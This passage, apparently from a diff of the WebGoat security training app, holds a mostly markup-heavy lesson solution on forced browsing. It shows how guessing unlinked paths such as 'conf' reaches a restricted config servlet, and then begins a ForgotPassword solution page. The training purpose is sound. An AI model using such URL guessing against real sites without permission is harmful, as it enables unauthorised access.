||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
pre
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"HTML Preformatted Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
|
||||
font-size:10.0pt;
|
||||
font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.HTMLPreformattedChar
|
||||
{mso-style-name:"HTML Preformatted Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"HTML Preformatted";
|
||||
font-family:"Courier New";
|
||||
mso-ascii-font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Courier New";
|
||||
mso-bidi-font-family:"Courier New";}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:595.3pt 841.9pt;
|
||||
margin:70.55pt 56.9pt 70.55pt 56.9pt;
|
||||
mso-header-margin:35.3pt;
|
||||
mso-footer-margin:35.3pt;
|
||||
mso-title-page:yes;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Perform Forced Browsing Attacks. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>Concept
|
||||
/ Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>How
|
||||
to Exploit Forced Browsing. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>How
|
||||
the attacks works:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Forced
|
||||
browsing is a technique used by attackers to gain access to resources that are
|
||||
not referenced, but are nevertheless accessible. One technique is to manipulate
|
||||
the URL in the browser by deleting sections from the end until an unprotected
|
||||
directory is found <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><!-- Start Instructions -->Your
|
||||
goal should be to try to guess the URL for the "config" interface.<br>
|
||||
The "config" URL is only available to the maintenance personnel.<br>
|
||||
The application doesn't check for horizontal privileges.</span><span
|
||||
style='font-family:"Arial","sans-serif";mso-fareast-language:JA'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype
|
||||
id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"
|
||||
path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_97" o:spid="_x0000_i1028" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForcedBrowsing_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/ForcedBrowsing_files/image002.jpg" v:shapes="Picture_x0020_97"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>1</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Insecure configuration
|
||||
management <20> Forced Browsing</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b><span style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-weight:bold'>If you want to access a restricted page, you need to
|
||||
be able to guess the URI to access the page, for example /admin.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-weight:bold'>In this environment, WebGoat consists of different
|
||||
servlets that live in the WebGoat application. The main servlet is /attack,
|
||||
what could be the servlet for config?<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-weight:bold'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-weight:bold'>Try to access config,
|
||||
configuration, conf, <20>.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-weight:bold'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><b
|
||||
style='mso-bidi-font-weight:normal'><span style='font-family:"Arial","sans-serif";
|
||||
mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_98" o:spid="_x0000_i1027"
|
||||
type="#_x0000_t75" style='width:480pt;height:277.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForcedBrowsing_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/ForcedBrowsing_files/image004.jpg" v:shapes="Picture_x0020_98"><![endif]></span></b></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>2</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> No config</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_99"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForcedBrowsing_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/ForcedBrowsing_files/image006.jpg" v:shapes="Picture_x0020_99"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>3</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> No configuration</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_100"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/ForcedBrowsing_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/ForcedBrowsing_files/image008.jpg" v:shapes="Picture_x0020_100"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption style='text-align:justify'>Figure <!--[if supportFields]><span
|
||||
style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span><![endif]--><span style='mso-no-proof:yes'>4</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Bingo for conf</p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>This
|
||||
could be automated with a tool like Wikto 2.0<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
828
src/main/webapp/lesson_solutions_1/ForgotPassword.html
Normal file
828
src/main/webapp/lesson_solutions_1/ForgotPassword.html
Normal file
@ -0,0 +1,828 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/ForgotPassword_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/ForgotPassword_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>24</o:TotalTime>
|
||||
<o:Created>2007-07-11T10:50:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:34:00Z</o:LastSaved>
|
||||
<o:Pages>4</o:Pages>
|
||||
<o:Words>260</o:Words>
|
||||
<o:Characters>1482</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>12</o:Lines>
|
||||
<o:Paragraphs>3</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1739</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/ForgotPassword_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/ForgotPassword_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
